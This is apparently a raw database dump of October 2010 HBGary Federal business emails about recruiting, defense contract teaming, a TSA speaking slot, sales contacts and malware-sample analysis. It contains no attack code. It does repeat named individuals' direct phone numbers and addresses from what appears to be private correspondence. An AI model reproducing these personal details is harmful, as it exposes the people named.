font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',9188,'aaron_hbgary_com/9188.html'),(12690,'2010-10-06','\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>','/aaron@hbgary.com/new/1297009352.M27403P14101Q7544.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Candidates','Thanks, Aaron.  Please forward the resumes when available.  We may be able to use them on the current vehicle.  I\'ll let you know.\r\n\r\nJeremy\r\n\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Tuesday, October 05, 2010 10:50 PM\r\nTo: Simpson, Patrick B; Gage, Jeremy R\r\nSubject: Candidates\r\n\r\nHey Guys,\r\n\r\nChecking on availability.  I have recently been approached by five stellar candidates in malware analysis, forensics.  I am verifying specific clearances but wanted to check with you immediately to see if you even had any opportunities for good candidates.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478',10935,'aaron_hbgary_com/10935.html'),(12691,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009352.M455791P14101Q7546.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: who do you know at SAIC that can help me?','Let me check.On Oct 5, 2010, at 4:44 PM, Maria Lucas wrote:Aaron / TedWho do you know at SAIC that can help me with Commercial &nbsp; -- Bill Salazar is trying to help me but he isn\'t so far...-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com &nbsp;&nbsp;\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',11798,'aaron_hbgary_com/11798.html'),(12692,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009352.M672626P14101Q7547.eml','\"Scott W. Sheldon\" <SCOTT.W.SHELDON@saic.com>','Question','Scott,\r\n\r\nIs there someone in your commercial organization you can put me in contact with?  If so that would be great.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',5110,'aaron_hbgary_com/5110.html'),(12693,'2010-10-06','\"Qosmos\" <webmaster@qosmos.com>','/aaron@hbgary.com/new/1297009352.M944185P14101Q7548.eml','aaron@hbgary.com','Meet Qosmos at ISS World Americas, 12 - 13 October, Washington','Qosmos at ISS World Americas 2010\r\n\r\nbody{\r\nbackground-color:#FFFFFF;\r\nmargin:10px;\r\npadding:0;\r\nfont-family:Arial, Helvetica, sans-serif;\r\nfont-size:11px;\r\ncolor:#4A4A4A;\r\n}\r\ntable{\r\ntext-align:left;\r\nborder-top: 3px solid #6C6C6C;\r\nborder-bottom: 3px solid #6C6C6C;\r\nborder-left: 1px solid #6C6C6C;\r\nborder-right: 1px solid #6C6C6C;\r\n}\r\nh1{\r\nfont-family:Arial, Helvetica, sans-serif;\r\nfont-size:16px;\r\nfont-weight:bold;\r\ncolor:#4A4A4A;\r\nmargin-top: 0;\r\nmargin-left: 0;\r\nmargin-right: 0;\r\nmargin-bottom: 0px;\r\npadding:0;}\r\nh2{\r\nfont-family:Arial, Helvetica, sans-serif;\r\nfont-size:14px;\r\nfont-weight:bold;\r\ncolor:#4B626E;\r\nmargin-top: 0px;\r\nmargin-left: 0;\r\nmargin-right: 0;\r\nmargin-bottom: 0;\r\npadding:0;}\r\np{\r\nmargin: 0;\r\npadding:0;\r\nfont-family:Arial, Helvetica, sans-serif;\r\nfont-size:12px;\r\ncolor:#4A4A4A;}\r\nul{\r\nlist-style-type: square;\r\nmargin-top: 5px;\r\nmargin-left:20px;\r\nmargin-right:0px;\r\nmargin-bottom:0px;\r\npadding:0;\r\n}\r\nli{\r\nmargin:0px;\r\npadding:0;\r\nfont-size:12px;\r\n}\r\na{\r\ncolor:#4B626E;\r\ntext-decoration:none;\r\n}\r\n\r\n\r\n\r\n\r\n\r\nIf you cannot read this e-mail, click here\r\n  \r\n      \r\n      &nbsp;\r\n      ISS\r\n      World Americas 2010\r\n      11-13 October, Washington\r\n      Meet\r\n      Qosmos and learn how you can strengthen Lawful\r\n      Interception and Cyber\r\n      Defense solutions with Network\r\n      Intelligence and Deep Packet Inspection components.\r\n      &nbsp;\r\n      Qosmos will present in the following conference sessions:\r\n      \r\nGuru Panel: LI for New IP Services \"Best Practices\"\r\nLeveraging IP metadata to optimize Monitoring Center performance\r\nDemonstration of Network Intelligence technology for Lawful Interception (for engineers and developers)\r\nGuru Panel: Best DPI Deployment Practices for LI, Network Security and Traffic Management\r\nCyber Defense in Depth: Using DPI & Network Intelligence to Build a Second Line of Defense\r\nThe Key Role of Network Intelligence Technology for Lawful Intercept\r\n\r\n      For further details on how to attend, please visit the event\r\n      organizers’ website:http://www.issworldtraining.com/ISS_WASH/\r\n      &nbsp;\r\n      Download Qosmos Presentations\r\n\r\n    Cyber Defense in Depth\r\n    Network Intelligence for Lawful Interception\r\n    Network Intelligence for Monitoring Center\r\n\r\n      &nbsp;\r\n      Related\r\n      Resources\r\n      \r\n        Solution\r\n        Brief: Network Intelligence for hardening Government Cyber\r\n        Security \r\n        Customer Case Study: Network Intelligence for Lawful Interception\r\n        Qosmos TV: Why are Qosmos Network\r\n        Intelligence building blocks uniquely suited for Government network\r\n        security?\r\n      &nbsp;\r\n      Contact\r\n      us\r\n      http://www.qosmos.com/about-us/contact-us\r\nYou have received this e-mail because you are in contact with QOSMOSas a\r\nvalued customer or partner. Click\r\nhere to unsubscribe\r\n\r\n',2681,'aaron_hbgary_com/2681.html'),(12694,'2010-10-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009357.M891989P14101Q7549.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: SSC PAC PreAward/Contract Planning-After Actions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny, Aaron and Ted,\r\n\r\n&nbsp;\r\n\r\nGD had their pre-award planning meeting for the SPAWAR IDIQ\r\ncontract they expect to be awarded. As you&#8217;ll recall, HBGary is a tier-1 teaming\r\npartner.&nbsp; There will be multiple awardees who will compete as task orders\r\nare released, with quick turnaround.&nbsp; My impression is that this will be\r\nprimarily a labor contract, but if with work could realize software sales\r\ntoo.&nbsp; My memory says the work will be mostly unclass or secret level.\r\n\r\n&nbsp;\r\n\r\nMy inclination is to wait until there is an award before giving\r\nit much attention, but will make a few calls to GD folks to find out where we\r\ngo from here.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Holtmann, Vincent\r\nA. [mailto:Vincent.Holtmann@gd-ais.com] \r\nSent: Tuesday, October 05, 2010 11:01 PM\r\nTo: ron.jacobsosn@linquest.com; naveen.reddy@linquest.com;\r\ndave.atherton@eyestreet.com; wstephen@telcordia.com; sleanheart@telcordia.com;\r\nrichard.tillery@visllc.com; cbernard@visllc.com; barbara.m.sootkoos@us.pwc.com;\r\nesutton@systechnologies.com; bob.jayne@ndpgroup.com; Smith, Timothy-P65114\r\n(EXT) (GDC4S); ecamargo@deloitte.com; marcmurph@deloitte.com;\r\nalok@simulexinc.com; mmulpuri@simulex.com; dcurtis@sim-gtech.com; prempfer@sim-gtech.com;\r\njlrubritz@wareonearth.com; tyancey@wareonearth.com;\r\nfrank.backes@braxtontech.com; Julie.wllies@braxtontech.com; dperalta@ndti.net;\r\njmathis@ndti.net; dan_ownby@minervaengineering.com; jmorgan@ewa.com;\r\npwomble@ewa.com; rwebb@defgrp.com; stotz@cubrc.org; carl.houghton@issinc.com;\r\njohn_long@gdit.com; Martin, Robert Z.; Holtmann, Vincent A.; Ebber@avi.com;\r\n\'Bob Slapnik\'; Dan Roberts; Dietz, James Eric; Autry, Tim; Beck, Bob; Wendy\r\nYee; jim.burton@cataphora.com; Jondi_Bernardo@McAfee.com; sbodmer@savidcorp.com;\r\nJeffrey Carr; Bradshaw, Kent-P57625 (EXT) (GDC4S)\r\nCc: Valdez, George G.; Jaeger, James A.; Carron, Brian E.; Rabideau, Tim\r\nJ.\r\nSubject: SSC PAC PreAward/Contract Planning-After Actions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll,&nbsp;\r\nThanks again for those of you that we able to attend the session and we very\r\nmuch appreciated the dialogue. Below is a high-level action that we discussed\r\nto include the meeting summary,&nbsp; attached slide deck, attendee roster, and\r\nCompetency Chart. \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nremember that the formal award announcements have not been distributed to the\r\nPrimes, so handle the attached documents appropriately and do not distribute.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAction for Teammates\r\n\r\n\r\n\r\n\r\n\r\n1)Provide\r\nprimary POCs for&#8212;1)Business Development, 2)Technical/Engineering, and 3)\r\nContracts/Pricing\r\n\r\n\r\n\r\n\r\n\r\nPURPOSE:&nbsp;&nbsp; These\r\nPOCs will be our primary points of contact for future engagements and will be\r\nthe primary POCs that will have access to the team SharePoint site. From the\r\ntechnical perspective, we will work with this POC as we organize our Technical\r\nIPTs for TTO review and response to the government.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMeeting\r\nSummary\r\n\r\n\r\n\r\n\r\n\r\nOur\r\nmeeting covered the need to develop a short and long-term roadmap that would\r\nallow the entire team to align team capabilities and expertise with customer\r\nfunding and requirements. Our roadmap will focus on some quick success actions\r\nthat will help us to shape early Technical Task Orders (TTOs) and grow our\r\nVision in lockstep with customer needs (both SSC PAC and other supporting govt.\r\ncustomers that intend to use the vehicle). \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nwill continue the development of this roadmap via team collaboration and data\r\nsharing activities that we will organize via the SSC PAC SharePoint website.\r\nThat is another primary reason for everyone to respond with the requested POCs\r\nso we can ensure everyone is able to access the SharePoint website. We will\r\ncoordinate, schedule, deconflict, and help to organize messaging and\r\ncustomer&nbsp; meetings via the Calendar on the SharePoint site to ensure that\r\neveryone is moving in the same direction. Lastly, the SharePoint&nbsp; site\r\nwill allow all teammates to update their capability offerings, whitepapers,\r\netc. in preparation for bidding TTOs and interfacing with the customer.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTo\r\nhelp align this roadmap we will begin to focus on the following technology\r\nareas and customers that we discussed during the meeting.&nbsp; This list is\r\nnot all inclusive, but will help to guide our roadmap development. Along this\r\nsame line, we are organizing team messaging and discriminators for\r\neveryone&#8217;s awareness.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTechnical\r\nFocus Areas\r\n\r\n\r\n\r\n\r\n\r\nCyber\r\nSituational Awareness\r\n\r\n\r\n\r\n\r\n\r\nMission\r\nAssurance\r\n\r\n\r\n\r\n\r\n\r\nCyber\r\nModeling and Simulation\r\n\r\n\r\n\r\n\r\n\r\nCollaboration\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCustomers\r\n\r\n\r\n\r\n\r\n\r\nSPAWAR\r\nCode 56, Team SPAWAR, PEO C4I, USCYBERCOM, 10th Fleet, 24th AF, COCOMS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nVince\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVincent\r\nA. Holtmann\r\n\r\nGeneral\r\nDynamics Advanced Information Systems \r\n3133\r\nGeneral Hudnell, Ste. 300\r\n\r\nSan\r\nAntonio, TX 78226\r\nOffice (210) 932-5522\r\nMobile (210) 792-8088 \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3824,'aaron_hbgary_com/3824.html'),(12695,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009361.M228589P14101Q7551.eml','\"Sarmanian, David (TASC)\" <David.Sarmanian@TASC.COM>','Re: contact info','Dave,Nice chatting with you. &nbsp;Let me know when is good for your team to get together for some technical demos.Aaron BarrCEOHBGary Federal, LLC719.510.8478On Oct 6, 2010, at 9:12 AM, Sarmanian, David (TASC) wrote:&nbsp;&nbsp;&nbsp;--------------------------------------------------------David Sarmanian CISSP, GCIH, GSEC, GCIAManager, Cyber Security Operations(o) (703) 449-3184(c) (703) 498-9124&lt;image001.jpg&gt;&nbsp;\r\n\r\n',12283,'aaron_hbgary_com/12283.html'),(12696,'2010-10-06','\"Sarmanian, David (TASC)\" <David.Sarmanian@TASC.COM>','/aaron@hbgary.com/new/1297009361.M33265P14101Q7550.eml','aaron@hbgary.com','contact info','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n--------------------------------------------------------\r\n\r\nDavid\r\nSarmanian CISSP, GCIH, GSEC, GCIA\r\n\r\nManager,\r\nCyber Security Operations \r\n\r\n(o)\r\n(703) 449-3184\r\n\r\n(c)\r\n(703) 498-9124\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8382,'aaron_hbgary_com/8382.html'),(12697,'2010-10-06','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297009361.M424823P14101Q7552.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: URGENT: TSA Cyber Security Speaking Opportunity Thursday Oct. 21st in Arlington VA','Hi Aaron, I just wanted to see whether I can confirm you as a speaker for the organizers. Also, I wanted to talk to you for a few minutes today or tomorrow about BlackHatDC and a few other PR items.. Please let me know if you are available. Best, Karen\r\n\r\nOn Tue, Oct 5, 2010 at 9:49 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\nGreat Aaron. Attached is the presentation. It is the one he did earlier this year for CEIC -- we just need to change the background on slides. Can I tell the organizers that you can do it or do you want some time to review  preso first? Best, K \r\n\r\n\r\n\r\nOn Tue, Oct 5, 2010 at 9:46 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nPlease send me the presentation.  I can likely do this.\r\n\r\nAaronFrom my iPhone\r\n\r\n\r\n\r\nOn Oct 5, 2010, at 12:43 PM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron, Rich Cummings was scheduled to speak at the TSA Cyber Security In Transportation Summit on  Thursday October 21st in Arlington, VA. Our TSA customer helped secure the presentation -&gt; Rich was confirmed to speak on the topic &quot;APT.&quot; We&#39;ve already provided them with abstract (see below). Rich is unable to speak at the event now due to an unexpected business engagement. Would you be available to speak in his place? The link below provides more details on the event. \r\n\r\nRich has a ready-made presentation, which I can send you. Please let me know ASAP so I can update the event organizers. Thanks so much Aaron! Best, Karen\r\n\r\n https://survey.tsa.dhs.gov/wsb.dll/11/CyberSecurityTransportationSummit.htm\r\n\r\n \r\nAPT - Observations, Techniques and Countermeasures (Rich Cummings, HBGary) \r\n Abstract: \r\nCurrent threats are rapidly evolving becoming increasingly hidden and sophisticated, this makes them nearly impossible to detect before being exploited by determined attackers.   Web application attacks are based on the exploitation of a combination of the business logic and software vulnerabilities.   Stealthy attackers silently and patiently introspect web applications to find attack vectors they can successfully exploit.  Advanced Persistent Threats (APT) are multi-phased and sustained over long periods of time; attackers use a variety of difficult to trace techniques embedding themselves within IT environments.  Once embedded, they open callback channels to steal data while simultaneously covering their tracks.   Attendees will learn the incentives and goals of sophisticated attackers, their attack methodologies, and new technologies that can used to proactively battle the growing threat. \r\n\r\n\r\n \r\n\r\n\r\n-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nTwitter: @HBGaryPR-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nTwitter: @HBGaryPR-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nFollow HBGary On Twitter: @HBGaryPR\r\n',5837,'aaron_hbgary_com/5837.html'),(12698,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009361.M637243P14101Q7553.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Spoke with TASC','They are just finishing up their first round of purchases and getting their security staff in place.  Once they get their staff set they want to bring us in for some demos and follow on pilot.  He didn\'t have a time set right now.  I will ping him in a few weeks.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',14987,'aaron_hbgary_com/14987.html'),(12699,'2010-10-06','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297009361.M886761P14101Q7554.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','HBGary Management Page','Hi Aaron and Ted, I would like to add your photo and short version of your bio to the HBGary site. Could you please send? I can create them  too if you prefer. Aaron, I have your headshot and a long bio that I can edit for you if that would be helpful. Best, Karen  \r\n-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nFollow HBGary On Twitter: @HBGaryPR\r\n',14305,'aaron_hbgary_com/14305.html'),(12700,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009362.M317058P14101Q7555.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Take a look','If you can please get this back to me with comments this morning.\r\n',15051,'aaron_hbgary_com/15051.html'),(12701,'2010-10-06','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297009362.M530956P14101Q7556.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Question','Aaron,\r\n\r\nAre you looking for commercial Cyber/Information Assurance, or something\r\nelse commercial?\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, October 06, 2010 8:03 AM\r\nTo: Sheldon, Scott W.\r\nSubject: Question\r\n\r\nScott,\r\n\r\nIs there someone in your commercial organization you can put me in\r\ncontact with?  If so that would be great.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',16413,'aaron_hbgary_com/16413.html'),(12702,'2010-10-06','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009362.M737646P14101Q7557.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: EXTERNAL:Malware samples','Ted,\r\nLet me check.  Can\'t remember right now which malware we sent you.\r\nBrian\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Tuesday, October 05, 2010 6:02 PM\r\nTo: Masterson, Brian M (XETRON)\r\nCc: Barr Aaron\r\nSubject: EXTERNAL:Malware samples\r\n\r\nHi Brian,\r\n\r\nWe are running the samples you sent us through TMC. We intend to\r\npublish our analysis and results on our website and possibly other\r\nvenues.\r\n\r\nWe will not release the malware or source.\r\n\r\nIs this ok? Are there any limitations regarding the disclosure of the\r\nsamples or derivative analysis I should know about?\r\n\r\nTed\r\n',7979,'aaron_hbgary_com/7979.html'),(12703,'2010-10-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009362.M944899P14101Q7558.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Spoke with TASC','FYI, I\'ve been working with some customer facing people from TASC.\r\nPatrick Powell, David Norris, Shane Curtis\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, October 06, 2010 9:23 AM\r\nTo: Penny Leavy; Bob Slapnik\r\nCc: Ted Vera\r\nSubject: Spoke with TASC\r\n\r\nThey are just finishing up their first round of purchases and getting their\r\nsecurity staff in place.  Once they get their staff set they want to bring\r\nus in for some demos and follow on pilot.  He didn\'t have a time set right\r\nnow.  I will ping him in a few weeks.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n',11086,'aaron_hbgary_com/11086.html'),(12704,'2010-10-06','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297009363.M138746P14101Q7559.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Take a look','Please resend in a standard format.\n\nAaron Barr  wrote:\n\n>If you can please get this back to me with comments this morning.\r\n>\r\n>Aaron Barr\r\n>CEO\r\n>HBGary Federal, LLC\r\n>719.510.8478\r\n>\r\n>\r\n>\r\n',2734,'aaron_hbgary_com/2734.html'),(12705,'2010-10-06','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297009363.M373861P14101Q7560.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Social Media Persona Development','\r\nPDF work?\r\n',8024,'aaron_hbgary_com/8024.html'),(12706,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009363.M572994P14101Q7561.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: Take a look','Pita\r\n\r\nFrom my iPhone\r\n\r\nOn Oct 6, 2010, at 10:39 AM, Mark Trynor  wrote:\r\n\r\n> Please resend in a standard format.\r\n>\r\n> Aaron Barr  wrote:\r\n>\r\n>> If you can please get this back to me with comments this morning.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal, LLC\r\n>> 719.510.8478\r\n>>\r\n>>\r\n>>\r\n',2114,'aaron_hbgary_com/2114.html'),(12707,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009363.M768563P14101Q7562.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','Re: Question','Hi Scott,\r\n\r\nCommercial IA/Cyber\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Oct 6, 2010, at 9:49 AM, 